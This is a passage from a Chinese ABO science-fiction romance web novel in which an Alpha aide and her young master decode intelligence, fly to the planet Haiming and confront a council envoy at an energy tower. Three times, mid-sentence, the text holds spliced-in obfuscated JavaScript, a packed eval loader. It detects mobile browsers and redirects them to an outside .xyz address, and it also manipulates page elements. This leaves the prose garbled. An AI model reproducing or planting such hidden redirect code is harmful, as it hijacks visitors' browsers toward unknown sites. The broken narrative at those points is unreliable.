她的信息素是荒漠,易感期是死水,甚至比最低级的Alpha还要平静。她感受不到信息素的冲击,也释放不出能够抚平Alpha的安抚力量。 萧菘蓝唯一能做的,就是在墨空青失控的时候,用冰冷的针尖刺破他的皮肤,将强效的抑制剂推入他的血管。用物理的手段,强行压制他体内随时可能喷发的力量,直到药力生效,直到他脱力倒下。 可从海冥星回来后,墨空青的信息素变得越来越不稳定,如同被强行压缩到极限的弹簧,每一次微小的扰动都可能引发难以预料的反弹。 而她像守在一座活火山口的观察员,记录着每一次危险的波动,却找不到任何疏导或平息的途径。在墨空青信息素失控面前,她引以为傲的一切都显得如此苍白无力。 这个认知比头顶浇下的冷水更刺骨,那些不甘在萧菘蓝心底愈演愈烈。 水声终于停止。 萧菘蓝在弥漫的冷雾中站了很久,久到皮肤被冰水激起的战栗都平息下去。湿透的衣物被丢在角落,她换上干净的衣服,拿着毛巾,一边擦着湿漉漉的发梢,一边拉开浴室的门。 在踏出浴室门槛的瞬间,脚步猛地顿住。 墨空青坐在她的床上,就那么面朝着浴室的方向。看着浴室里尚未散尽的冷雾丝丝缕缕地飘散出来,碧色的眸子一弯,笑着:“萧萧,怎么洗了这么久啊?” 萧菘蓝握着毛巾的手指收紧,下意识地吞咽了一下,立刻就移开了视线。 她喉间细微的滚动没能逃过墨空青的眼睛,只见他脸上的笑容加深,然后慢悠悠地站起身,踩在冰凉的地板上,一步步朝她走过来。 随着墨空青的靠近,他身上炙热的气息强势地压过了浴室带出的最后一丝清冷,瞬间将萧菘蓝包裹。 他停在萧菘蓝面前,距离近得能感受到她身上未散的冰凉湿意。 墨空青微微眯起眼:“冷水?” 萧菘蓝只是垂着眼帘,浓密的睫毛遮住了眼底可能泄露的任何情绪。 墨空青又往前靠了一点,贴在她耳边:“洗的舒服吗?” 11. 解密 萧菘蓝没有说话,手里的毛巾却被眼前这人夺过去随手扔在一边。 墨空青低笑着,目光落在她耳廓下方那颗小小的痣上。那颗平日里几乎看不见的浅褐色小点此刻格外明显,像雪地里意外露出的一粒沙。 “真漂亮。”他喃喃道,唇瓣几乎贴上那颗痣。 萧菘蓝呼吸一滞,猛地扣住他的手腕:“少爷!” 墨空青就势将她压在浴室门框上,把膝盖挤进她双腿之间,灼热的吐息喷在方才那颗痣上:“终于舍得开口了?”他的犬齿轻轻磨蹭那块皮肤,然后抬头说,“萧萧,不许推开。” 萧菘蓝定定地看着墨空青近在咫尺的脸,忽然伸手按住他的后脑,五指深深插入他的发间。她将两人的距离拉到最近,鼻尖相抵,睫毛交错,在即将唇齿相贴的刹那停住。 “少爷确定要现在玩这种游戏?”她的声音比平时低哑,带着水汽浸润后的柔软,却让墨空青脊椎窜过一阵战栗。 墨空青的睫毛颤动了一下。 他伸出舌尖,极快地舔过自己下唇。 这个动作让萧菘蓝的指尖不自觉地收紧,指甲在他后颈上留下几道浅痕。 “什么游戏?”墨空青明知故问,呼吸喷在她唇上,“说清楚些,萧萧。” 他喉结滚动,想要再说些什么,门外突然传来几下敲门声。 “少爷,萧小姐。”管家的声音透过门板传来,“先生请二位立即去书房,有紧急情况。” 萧菘蓝松开了手:“知道了。 墨空青站在原地没动。他盯着萧菘蓝转身时扬起的发尾,突然伸手拽住她的手腕。 “逃什么?”他的拇指在她脉搏处暧昧地摩挲,“不是萧萧先动的手?” 萧菘蓝视线下移,落在他那只修长的手上。两秒后,她反手扣住他的手腕,一个巧劲翻过将他按在浴室门框上。 她凑近对方沁出薄汗的颈侧,呼吸扫过突突跳动的血管:“少爷,先生还在等。” 门外又一次传来管家的声音。 墨空青偏头咬住她一缕垂落的黑发,含糊道:“你真是......” 萧菘蓝松开钳制,替他抚平被弄皱的衣领。这个本该恭敬的动作,因她刻意放缓的速度而显得意味深长。 墨空青盯着她的脸,抓住那只手按在自己心口。 “感觉到了吗?” “拜你所赐。” “少爷。”萧菘蓝警告般地低唤。 墨空青恋恋不舍地松开:“可真是会挑时候。” 萧菘蓝立即退后一步。 “我帮你吹头发。” 墨空青已经绕开她去拿东西。 “不必......” “萧萧现在力气越来越大了,”墨空青背对着她,声音染上几分委屈,“刚才把我撞得好疼。” 萧菘蓝盯着他后颈处,那里确实泛着淡淡的红。明知这人是在装可怜,她还是叹了口气,乖乖在椅子上坐下:“快点。” 墨空青得逞地笑着,吹发时手指故意擦过她耳垂。温热的风拂过发丝,他的手指穿梭在乌黑的发间,动作轻柔得不像话,接下来竟真的一丝逾矩都没有。 结束后,萧菘蓝突然问:“现在还疼吗?” 墨空青一怔,随即笑起来。那双碧色的眸子在灯光下漾着水光,他向前一步,抓起萧菘蓝的手按在自己后颈:“你摸摸看?” 掌下的皮肤温热干燥,腺体微微发烫,却不见半点伤痕。 萧菘蓝像是被烫到,立即抽回了手:“走了,等会儿先生该生气了。” 她转身出了房间,却还是在书房门口停下。 萧菘蓝听见墨空青在身后轻笑,脚步声不紧不慢地跟上来,在经过她身边时,小指状似无意地勾了一下她的腰带。 “怎么不进去啊,萧萧。”他贴着她耳畔说,“不是急着见我爸吗?” 书房的门在这时自动开启,顾言深的身影逆光而立,他手中捏着一枚加密芯片,身后全息屏上是一张照片。 “再不来,是准备让我亲自去喊你们?”顾言深目光在两人之间扫过,“看来我打扰了重要的事。” 萧菘蓝:“抱歉,让您久等了。” 顾言深摆摆手。 他还能猜不出来是谁的问题。 “菘蓝,我早和你说过不要什么事都由着他。” 墨空青并不在意他的数落:“爸,这么急着叫我们过来做什么?” 顾言深瞪了他一眼,将一份标红文件导进全息投影中,然后说:“笪非在这次特使团里,但是议会故意没把他列在正式名单上。” 投影中那个鹰钩鼻老者的正是笪非,议会元老之一,也是霍恩的政敌,更是当年带头反对墨庭的激进派领袖。 “有趣。”墨空青脸上的轻佻瞬间褪去,他走到投影前,看着笪非的虚像,“这老东西都亲自出马了,看来海冥星底下真的有宝贝。” 顾言深推了推眼镜:“还有特使团比预计时间提前了十二小时,不是明天而是已经到了。” 萧菘蓝:“这么着急?” 顾言深:“所以你们现在必须尽快赶到海冥星。” 墨空青:“父亲那边?” “他会盯住霍恩。”顾言深将手里那枚芯片抛给萧菘蓝,“这里面有笪非近半年的行程记录,重点看他和星际矿业集团的接触。” 墨空青又问:“爸,既然之前的名单并不准确,那这次特使团里具体有哪些人现在知道了吗?” “你父亲给的消息里,至少有三个S级Alpha,五个A+级。”顾言深镜片反着冷光,“所以我才让你们立刻出发。” 墨空青:“上回您还生气,这次倒是让我们赶紧走。” 顾言深:“你再多说一句话,往后连家也不用回了。” 萧菘蓝看着手里的芯片,对顾言深轻轻一点头:“明白了,先生,我这就去准备启程。” 墨空青看着她消失在门口的背影,舌尖舔过犬齿,他转头对顾言深扯了个笑:“爸,您看,把人都弄跑了。” 顾言深冷哼一声:“少废话,快滚。” 走廊里已不见萧菘蓝的身影,墨空青的指尖在腕带通讯器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181551|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上快速点了几下,接通了林漾的频道。 通讯器红光微闪,林漾冷静的声音立刻传出:“少爷,我们之前预计的时间......” 墨空青:“其他的我已经知道了,现在重新锁定位置。” 林漾:“特使团星舰已抵达海冥星外围空间站,比原定提前十二个小时。他们直接申请了核心矿区一号能源塔的对接权限,要求立即降落视察。理由是怀疑该区域存在违规开采行为,需现场核实。” “我以地面安全核查流程未完成为由,暂时拒绝了对接,申请正在走流程。但对方态度强硬,施压很急,恐怕拖不了太久。” 墨空青眸色一沉。笪非这老狐狸,目标如此明确,直奔核心矿区,看来掌握的情报远比他们预想的要多。 “想办法拖住他们。”墨空青命令道,“流程可以走得再仔细些。地面意外检修、系统临时故障,随便找个说得过去的理由,总之,在他们降落前,矿区里不该出现的东西,全部给我清干净。另外,萧萧已经去准备启程事宜,你现在连接扶光号的信号,预热引擎,进入最高战备状态,准备最快速度前往海冥星。” 林漾的声音顿了一下:“少爷,引擎全功率预热,能量波动会非常明显。帝国军方监控网会立刻捕捉到异常,这可能会引起不必要的戒备。” 墨空青脚步未停:“那是父亲该考虑的事情。执行命令,务必在最短时间内抵达海冥星。” “是!”林漾不再有异议。 墨空青切断通讯,重新接通了萧菘蓝的线路。 “萧萧,马上联系程岩。让他尽快摸清笪非这次带来的特使团里,除了名单上那些,还有没有藏着什么特别顾问,尤其是和能源技术或者情报分析相关的专家。” 萧菘蓝此刻正有条不紊地通过随身光脑下达着指令:“扶光号全体成员,一级战备,三十分钟后登舰。引擎预热程序启动,优先级别最高。” “芯片数据正在同步解码,预计十分钟后完成初步筛查。”听到墨空青的指令,她手上的动作未停,继续在光脑上输入指令,同时冷静回应:“少爷,上次没有见程岩,您确定他会帮忙?” “他会。” “收到。” 光屏应声亮起,跳出进度条:【芯片解密中......30%】。 旁边一个加密通讯窗口也同步开启,程岩的虚拟影像刚刚稳定下来。 程岩:“萧小姐?” “程岩上校。”萧菘蓝开门见山,调出墨空青刚下达的指令概要。 程岩立刻明白了事态的严重性。笪非亲自出马还隐藏人员,目标直指核心矿区,这绝非例行检查。 他沉声应道:“明白,我马上去查。议会那边我父亲最近确实提过,能源委员会的几个老家伙最近和笪非私下接触频繁,我有消息立刻同步给你。” “尽快。”萧菘蓝点头,目光扫向旁边光屏上已跳到99%的进度条。 程岩的影像闪了闪,通讯切断。 几乎同时,芯片解密完成的提示音响起:【解密完成,数据已同步至终端】。 12. 项圈 扶光号率先没入星海,其余的舰队有序跟上,在浩瀚的宇宙中拉出细长的光带。 萧菘蓝仔细浏览着刚解码完毕的资料,笪非近半年的行程记录在眼前滚动。都是一些寻常的社交、会议和视察记录,就算是与能源相关的接触也都在合理范畴内。 “没有异常。” 萧菘蓝冷静地汇报着结果:“能源委员会那几位的行程,包括与笪非的接触,都符合其公开职责,暂时没有发现指向性证据。” 墨空青坐在主控座椅,一条腿屈起踩着座椅边缘,手肘支在膝盖上。 “一点问题都没有,笪非什么时候这么老实了?” “不,等一下。”萧菘蓝将其中几项高亮标出,“记录显示他这半年里去过四次中央腺体研究院,但每次停留的时间都很短,很快就离开了。” 墨空青转过头:“这去的频率都快赶上我俩了。”他起身走到萧菘蓝身边。 “一个Beta,既不需要定期检测腺体,职务范围也和基因研究八竿子打不着,他去那里做什么?能查到他在研究院和谁接触过吗?” “记录上只有简单的出入记录,没有具体到访人员和接触详情。”萧菘蓝回答得很干脆,“当然,也存在部分行程未被完全记录的可能性。” 通讯提示音响起,程岩的加密通讯窗口在光屏一角弹出。 “萧小姐。” 程岩的影像稳定下来,背景似乎是在书房里:“我调取了父亲光脑里的档案。此次特使团的随行人员名单里,除了笪非以外,还有一个叫庄亚易的,对他的身份标注是‘中央研究院技术顾问’。” 墨空青轻笑,让自己的影像也出现在通讯范围内:“程岩上校,私下调阅议会高官光脑档案这种事......啧,看来程部长对你这个儿子开放的权限等级很高啊。” 光脑深度绑定主人生物信息,若非绝对信任或特殊授权,外人绝无可能触及。 通讯那头明显卡顿了一下,程岩显然忘了墨空青也会在旁边,语气瞬间变得有些尴尬:“......事急从权,少爷见笑了。” 要不是父亲临时出去,他也没有机会接触。不过在开启的那一刻,父亲应该就已经收到了消息,但他没有远程锁定制止,想来也是睁一只眼闭一只眼。 墨空青:“上一回在帝都,宴会上匆匆一面,后面也没能好好和程岩上校聊一聊。这次机会难得,不知道上校有没有兴趣,再来海冥星凑个热闹?” 程岩没有犹豫:“荣幸之至。” 墨空青满意地点头道:“好,海冥星等你。” 通讯随即切断。 “他倒是痛快。”墨空青评价了一句,又对萧菘蓝说,“萧萧,你马上联系一下苏明朝,看她知不知道这个人。不然研究院那些保密信息查起来,还是要费一番功夫的。” “已经问了。”萧菘蓝调出苏明朝的回复。 【庄亚易,Beta,帝国首席腺体基因学教授,曾是我初入研究院时的导师。有一个儿子,Beta,先天肢体残疾。】 萧菘蓝看着庄亚易那张严肃的学术照片,奇怪道:“一个Beta教授,研究的却是AO腺体奥秘。笪非把他塞进特使团目的是什么?” 墨空青盯着“腺体基因学”那几个字:“海冥星上,除了星矿能源,还有什么东西值得一个腺体专家亲自跑一趟?”他声音沉了下去,“估计是奔着那些从实验室里救出来的Omega实验体来的。” 萧菘蓝眉头微蹙:“可是我们已经把所有实验体都转移回帝都了。他们这个时候过来,难道是还有没被发现的?” 想到这里,她再次联系林漾,他重新筛查一遍所有实验体的原始档案和转移记录。 萧菘蓝又一次扫过“腺体”二字,然后视线从光屏上移开,落在了身旁的墨空青身上。 墨空青正专注于光屏上的信息,在察觉到她的注视,转过头来:“是我脸上有什么东西吗,萧萧这么看着我?”他微微低头,凑近了些,试图在萧菘蓝的瞳孔里寻找自己的倒影。 “我在想要不要让程岩去把明朝也带上。我们对腺体这方面的了解肯定不如她,而且少爷现在的状况......” 墨空青眉梢一挑,了然笑道:“萧萧是在担心我会乱用信息素?” 顶级Alpha的信息素和精神力是最简单高效的控制手段,可以减少大面积的伤亡。可即便Alpha身体强悍,恢复力强,如果总是毫无节制的消耗,终归是对自身的损伤。 萧菘蓝面无表情:“你不听话。” “怎么会呢,这世上哪还有比我还乖的人。” 墨空青勾住了她垂在身侧的右手小指,先是捏了捏指尖,力道不轻不重,然后顺着她的指节,滑到了无名指的指尖,又捏了一下。接着是中指、食指......他像是发现了什么有趣的玩具,挨个捏过每一根指尖。 萧菘蓝没有躲闪:“少爷这次如果还是这样......” 墨空青继续玩着,好奇地问:“你会怎么做?” 萧菘蓝忽然抬起另一只手贴在他的颈侧。 “我会亲自给你戴上信息素抑制环。” 墨空青脸上的笑容僵了一瞬,手也不再继续动了。 那是帝国专为无法控制信息素的危险Alpha或重刑犯设计的刑具。戴上它不仅意味着实时监控和定位,更意味着尊严的彻底剥夺。一旦信息素波动超过预设数值,环内嵌的神经干扰器和强效抑制剂会立刻启动,强行压制佩戴者,那种痛苦和屈辱,对任何一个Alpha来说都生不如死。 墨空青曾不止一次嘲讽那是“栓疯狗的项圈”。 墨空青缓缓直起身,拉开了一点距离。他盯着萧菘蓝,眼神里有一丝难以置信,但最终化为亲昵的指控:“萧萧,没想到你这么坏。” 萧菘蓝没再理会他。 墨空青没忍住摸了摸自己的后颈,然后又小心翼翼瞥一眼身边的人。 坏透了。 墨空青难得安静,躺在一旁的沙发里,目光落在几步开外的萧菘蓝身上。 萧菘蓝端坐在副指挥席,专注处理着终端屏幕上不断更新的星舰数据和地面报告。 整整两个小时,墨空青就只是看着,没有出声打扰。 直到屏幕上的任务标识转为绿色的“已完成”,萧菘蓝侧过头,看见那人依旧维持着之前的姿态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181552|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开口问:“少爷,饿不饿?” 墨空青没有立刻回答。 这不同寻常的乖巧安静让萧菘蓝感到疑惑:“在看什么?” 墨空青坐起身:“我在想......你要不先试着咬我一口,再决定要不要给我戴上抑制环?” 萧菘蓝:“......” 她一时语塞,抬手揉了揉眉心,难以置信道:“少爷这两个小时不说话,就只是在想这件事?” “嗯。”墨空青点头,神色认真,“说不定你试过之后就舍不得了,萧萧。” 这话虽然直白,可从前也不是没有听他讲过。但今日不知怎么了,萧菘蓝脑子短暂空白,竟不知道该怎么接。她最后只是无奈道:“少爷以前的生理健康课都是白上的吗?往后不要再说什么让别人咬你腺体之类的话。” 墨空青把手一摊:“没办法啊,你又不给我,我只好委屈自己了。而且我没对别人说过......” 萧菘蓝听着这话越来越不对劲,马上截断他:“如果我是个Omega或者beta,现在就可以去告你了。” 墨空青理直气壮:“可你是个Alpha。” 萧菘蓝闭了下眼,舒出一口气:“Alpha也可以。” “哦。”墨空青应了一声,又将话题带回原点,依旧不依不挠:“所以,你会给我戴信息素抑制环吗?” 萧菘蓝:“......” 怎么就绕不出去了。 萧菘蓝脸上无奈又强行克制的表情,与平日里冷静自持的模样大相径庭。墨空青只觉得可爱极了,绷着的嘴角再也忍不住,放声大笑起来。 她看着他笑,最终只是抿紧了唇,一言不发地转回身去,重新看向控制台。 “你还没回答我呢,萧萧。” 他锲而不舍。 萧菘蓝的手在控制面板上顿了一下,没有回头。 “抑制环的使用需要医学评估。少爷目前的生理指标正常,没有佩戴的必要性。” 墨空青起了逗她的心,继续说:“这不是要到海冥星了吗?见到那些人,情绪波动是常有的事,说不定下一秒就超临界值了,那你会不会给我戴上啊?” 萧菘蓝有些后悔提这件事了,偏偏某些人还乐此不彼继续追问。 她站了起来,再次走到墨空青跟前,然后伸手轻轻掐住了他的脖子。 “戴好了。”她冷着一张脸。 墨空青先是一愣,随即大笑,整个人都跟着震动起来。碧色的眼眸泛起一层水光,像流光起荧的翡翠。 * 程岩的行动迅速,没有耽搁太久,收拾完东西就准备出发。但刚到门口,程凛就回来了。 程岩:“父亲。” 程凛看了一眼他肩上的背包:“去海冥星?” 程岩点头。 程凛没有阻拦,只是叹了口气,抬手随意地摆了摆:“随你去吧。” “抱歉,父亲。”程岩在经过父亲身侧时停了一下,“下次回来,一定陪您好好吃顿饭。” 程凛站在原地,久久地凝视着儿子消失的方向。 希望你选的这条路,最终会有一个好的结果。 13. 抵达 星舰在宇宙中疾驰,窗外是永恒不变的黑暗与遥远星辰,而海冥星红灰色的轮廓在视野里逐渐放大。 墨空青:“还有多久?” “最多半天。”萧菘蓝站在控制台旁,目光扫过实时更新的航行数据,“已进入最终加速阶段。” “半天......”墨空青重复了一句,“希望林漾那边还能再拖上一拖。萧萧,把能源塔周边的实时监测详图调出来。” “好。” 主屏幕上的画面立刻切换,海冥星及其周边的立体图像细致地呈现出来,数个能源塔的位置被高亮标出,周围环绕着监控浮标的光点。 墨空青简单扫了一眼图像,手指在虚拟屏幕上划过,放大其中一个区域。他看了一会儿,忽然问:“程岩和苏明朝现在到哪里了?” “他们搭乘的巡航舰速度不及扶光号。”萧菘蓝调出另一份航行日志,“根据最新的定位,至少要比我们晚两天左右才能抵达海冥星外围。” 时间在一分一秒的过去,星舰持续向着目的地逼近,海冥星表面的沟壑和建筑群落在屏幕上变得越来越清晰。 就在这时,通讯器发出急促的震动。萧菘蓝立刻接通,林漾的影像出现在屏幕上,背景是地面指挥中心。 林漾:“特使团声称有议会最高授权,现在由笪非亲自带队强行突破了外围警戒线,正朝着能源塔区域过去。” 墨空青看向屏幕上特使团的影像,眼里闪过杀意:“来了。” 他走到另一边,调出画面,凝视着那颗星球。 舰体传来轻微的震动,开始进入大气层。 “现在引擎状态如何?” “已维持在峰值状态,随时可以输出最大推力。”萧菘蓝回道,“地面防御系统已经激活,林漾正调动应急部队拦截特使团,我们预计二十分钟后降落。” 墨空青:“通知所有人,一级戒备,准备降落。” “是。” 舰体剧烈震动后便是一声沉重的撞击声,然后稳稳停泊在外围的军事空港平台上。 舱门打开,外部浑浊炽热的空气卷着沙尘涌入。 就在距离能源塔入口不到百米的地方,两拨人马正在对峙。 站在最前方的清秀少年正是林漾,他带着一小队精锐士兵死死挡在通往能源塔内部的通道前。而他的对面是议会特使团,为首的是笪非,身后还站着几名神情倨傲的议会随员。 林漾眼里没有丝毫慌乱:“笪非阁下,目前能源塔正在进行周期性安全检修,区域内辐射值和能量波动极不稳定,擅自进入会有生命危险。为了诸位的安全着想,请稍安勿躁,等待检修完成。” 笪非身侧的人忍不住嗤笑:“什么时候军方的人也开始关心起议会官员的安全了。” 见他们还是不肯退让,笪非眼神锐利:“林漾,看在你祖父的份上,我不与你计较。但你现在要是还不让开,耽误了重要调查,这个责任你可担不起。” 说着,他身后的人有了动作,显然准备强行突破。 林漾始终冷静地看向笪非,并未在意那些指向自己的枪口。 “根据《帝国军事管制区安全条例》第六条,未经最高指挥官许可,任何武装人员强行闯入,驻守部队有权采取一切必要措施。” “他担不起责,我总可以吧?” 只见墨空青正不紧不慢地从后方走来,眼底的寒意却让人心悸。 笪非脸色铁青,他没想到墨空青会这么快出现在这里。 方才嗤笑的那人见状,继续道:“笪非阁下手持议会紧急令,有权进入任何可疑区域调查。墨空青,你还未有正式军衔,竟敢纵容部下阻拦?” 墨空青:“哦?所以呢?” 这人被墨空青的眼神慑得下意识后退半步,又被他轻描淡写的一句羞辱得涨红了脸:“你……” 后面的话没能说出口。 “砰!” 一颗子弹紧贴着那出声男人的耳廓掠过,炽热的气浪甚至燎焦了他鬓角的头发,最终深深嵌入地面,留下一个冒烟的弹孔。 男人骇得猛然后退一步,脸色煞白,剩下的话全卡在喉咙里。 笪非脸上伪装的镇定出现裂痕,抬头看向萧菘蓝。只见她刚刚放下手臂,手中那把短管能量枪口还残留着微弱的蓝光。 萧菘蓝:“第一次警告。” 而高处一座瞭望塔里,墨伊正找到合适的位置,调整好姿势后,手中的狙击枪稳稳地架着,瞄准镜的红点地扫过笪非身后每一个随员的要害位置。 笪非强压下心中的惊怒:“墨空青,你们这是什么意思?” 墨空青像是没听到他的质问,慢悠悠地走到笪非面前。强大冰冷且充满压迫感的信息素,毫不掩饰地朝着他和身后的特使团倾轧过去。 那几名护卫脸色微变,试图释放出信息素对抗,却被更汹涌的力量反压回来,脸色瞬间苍白了几分。 笪非虽然是Beta,感受不到具体的信息素压制,但那源自本能的面对顶级掠食者的恐惧感,让他呼吸都变得困难。 墨空青这才低下头,直视笪非的眼睛:“我也想问问您是什么意思?” 他的语气陡然转厉:“海冥星目前一直受帝国军方直接管辖,所有权限皆在墨庭元帅麾下。我墨空青作为全权处理此地事务的负责人,至今没有接到任何来自军部的交接命令。” “所以就算您是议会尊贵的特使,在这里,也得听我的。”墨空青的目光扫过那些瞄准他的枪口,最后落回笪非难看至极的脸上,“阁下不由分说硬闯我方重地,是不是应该先给我一个解释?” 跟在他身侧的萧菘蓝手里的枪朝下,但手指依旧紧扣着扳机。 灼热的风卷过四周,笪非感觉喉咙发干:“今天也算是见识了军方的规矩。”他冷笑一声,手中举起一枚古铜色令牌,上面雕刻着帝国议会的徽记。 “看清楚了,这是议会签发的最高级别紧急调查令。海冥星能源开采涉嫌严重违规操作,并对帝国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181553|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能源安全构成潜在威胁,此事也已经同传皇室,所以我有权进入任何区域进行调查取证,任何人不得阻拦。” 墨空青嗤笑一声,甚至懒得去看那枚令牌,目光轻蔑看向笪非。 “涉嫌?潜在威胁?”他重复着这两个词,语调拖长,充满了嘲讽,“几张不知真假的照片,几句捕风捉影的指控,就能让您跑到帝国的军事管制区来撒野。这里是海冥星,不是帝都那些可以由着你们玩弄权术的议事厅。” 墨空青的声音冷了下来:“至于你那些调令......别急啊,先传回帝都等我父亲看过,确认无误之后,再来跟我谈权限也不迟。” “现在,带着你的人,退到安全线以外。” “你!”笪非气得手指都在发抖,“墨空青,你这是在公然藐视议会!” “藐视?”墨空青挑眉,语气带点无辜的诧异,“阁下言重了,我可是非常尊重议会的。现在只是在履行我的职责,确保帝国资源的安全。万一您带来的这些人里,混进了什么不干不净的东西,这责任算谁的?” 他顿了顿,目光意有所指地扫过那些特使团护卫:“这里面我也就认识您,所以其他人还是得带下去仔细检查一下更为稳妥。” 笪非:“你敢!” 墨空青声音压低,威胁道:“我什么不敢。” “砰!” 这一次,子弹击中一个议会随员的裤脚。灼热的能量烫得他失声尖叫,猛地跳开,脸上血色尽褪,惊恐地看向萧菘蓝,嘴唇哆嗦着发不出声音。 萧菘蓝的眼神平静地扫过笪非身后每一个蠢蠢欲动的人,而手中的枪口,一缕淡淡的蓝烟缓缓散去。 “第二次。” 瞭望塔里的墨伊将瞄准镜的红点锁定在笪非的眉心,只要收到命令,随时可以给出致命一击。 笪非的心脏几乎要跳出胸腔,看着墨空青身边这个完全无法用常理揣度的Alpha,他毫不怀疑,只要自己这边再有一个人妄动,下一颗子弹绝不会再打在地面上。 笪非不得不妥协:“我们并非要挑战军方权威,议会调令已出,应该很快会传达给元帅。” “那就等军部的消息。”墨空青不再看笪非,“林漾。” “在!”林漾立刻挺直身体。 “特使团的诸位远道而来,先带他们去休息。在得到明确指令之前,任何人不得擅自离开招待所范围。” “是!”林漾声音洪亮,他手一挥,身后的士兵立刻上前形成一种半包围的态势,护送着特使团成员离开。 墨空青站在原地,闭上了眼,强行压下心底的躁意。 苏明朝研制的这玩意儿到底管不管用,明明下来之前已经打了一针抑制剂。 “不舒服?”萧菘蓝的声音很低,只有两人能听见。 墨空青睁开眼,眸中的戾气已经褪去大半。 “我没事。”他对萧菘蓝说,“刚才在特使团里没有看见庄亚易,你让林漾尽快排查所有人的身份。” 14. 推开 技术分析室。 数十面大小不一的光屏悬浮在空中,散发着幽冷的蓝白光芒。林漾此刻正坐在中央的操作台前,在半透明的虚拟键盘上快速敲击着。 “菘蓝,我正要去找你呢。” 听见声音,林漾抬了下头,然后手指在一个悬浮的档案图标上一点,那图标瞬间放大展开成密密麻麻的文字和照片。 “特使团所有人的身份档案已经筛完了。但是除了笪非,还有两个名字在常规系统里查无此人,访问权限被议会锁死,如果要强行突破......”林漾一顿,有点不好意思地挠了挠头,“笪非估计是找了我祖父,他老人家让我收着点。” 萧菘蓝点头:“理解。” 林漾在光屏上快速划了几下,两张影像被提取出来,投射到中央最大的一块光屏上。 虽然有点模糊,但萧菘蓝还是认出其中一个人就是庄亚易。 林漾说:“这个人应该就是你们先前传来的那个,至于另外一个我还在比对。” “那你上回说的异常信号源呢,有情况了吗?”萧菘蓝问道。 林漾摇摇头:“上次消失后就再也没有出现过了。”他切换界面,调出另一组复杂的波形图,“但我顺着扫描到的所有异常能量残留回溯,发现了点别的东西。” “菘蓝,我想我们可能都弄错了一件事。” 萧菘蓝看向他。 林漾又在光屏上导出几张卫星航图以及模拟建筑。“海冥星可能从来就没有真正意义上的星际盗匪。” “什么意思?” “我留下来做监测评估期间,将海冥星划分成多个区域建立了实地模型。”林漾指着光屏上标记出的红点,“根据残留的生活痕迹分析和近地轨道扫描,我发现这里的原居民几乎全部集中在海冥星最贫瘠、环境最恶劣的荒原地带。” “那里人口密度大,但没有大型飞船起降基地。绝大多数人是依靠早年勘探队遗弃的补给站,或是零星的小型运输船残骸勉强生存。” “可如果没有飞船星舰,那些所谓的‘星际盗匪’又是怎么来的?”林漾调出帝国档案库中的记录,“唯一有明确记载的是,海冥星曾在星际战争中作为流放地和难民收容点。但战后清算时,青壮年和技术人员都被强行带走了,这里只剩下老弱病残和一些无法适应其他星球环境的特殊族群后裔。” 他看向萧菘蓝,语气沉重:“我们一直以为叛军是凶悍狡猾的星际盗匪,所以对他们超出预期的反抗力量并未深究。但现在看来,极有可能是有人抓了这些原住民,假借盗匪之名占据海冥星。” 萧菘蓝的眉头皱起。 星际盗匪都是一些亡命徒,数量庞大,以掠夺为生,常年游走于各个星系之间,是块难啃的骨头,大家都不愿意去招惹这个麻烦。只是后来海冥星蕴含的巨大能源暴露,这颗星球才成了各方的目标。 “但这也是我最想不通的地方,”林漾摇头,“这样的一群人是如何在短短时间内,拥有了足以让各方势力都头疼的力量?” 萧菘蓝的目光停留在光屏上那片密集的红点区域,片刻后,她开口:“会不会和那些实验体有关?” 林漾转头:“实验体?”他快速回想信息,摇头,“可是那些被发现的Omega,除了虚弱了一点,身上并没有受到什么伤害。” 他停顿了一下,手指在操作台边缘敲了敲。“光靠远程扫描和模型推演,很多细节都太模糊了。菘蓝,我其实打算亲自去一趟荒原进行实地探查,或许能得到一些被忽略的数据信息。” 萧菘蓝毫不犹豫拒绝了:“不可以。你要么待在这里,要么回帝都。” 林漾立刻反驳:“我才不回去。” 萧菘蓝冷眼扫过他,不再停留,转身出去。 林漾看着关上的门,抿了抿唇,目光最终再次投向光屏上那片代表着未知与危险的地带。 “林漾既然起了这个念头,以他的性格,恐怕不会轻易放弃。”萧菘蓝原本想去招待所,看看能不能见到庄亚易,但考虑到林漾的事,她最后还是转向墨空青的休息舱。 她在门前站定,抬手敲了两下。 门内没有任何回应。 萧菘蓝直接开启了门禁。 墨空青背对着坐在床沿。 一缕光从没有完全拉紧的帘子间透进来,映着墨空青苍白的侧脸,唇色很淡,颈后的腺体持续的抽痛像钝锯在拉扯神经。 萧菘蓝察觉到不对劲,马上联系了苏明朝,同时调出了墨空青手腕监测器实时回传的生理数据。 苏明朝:“加强版抑制剂打了多久?” “不到四小时,是还要再打一针吗?” 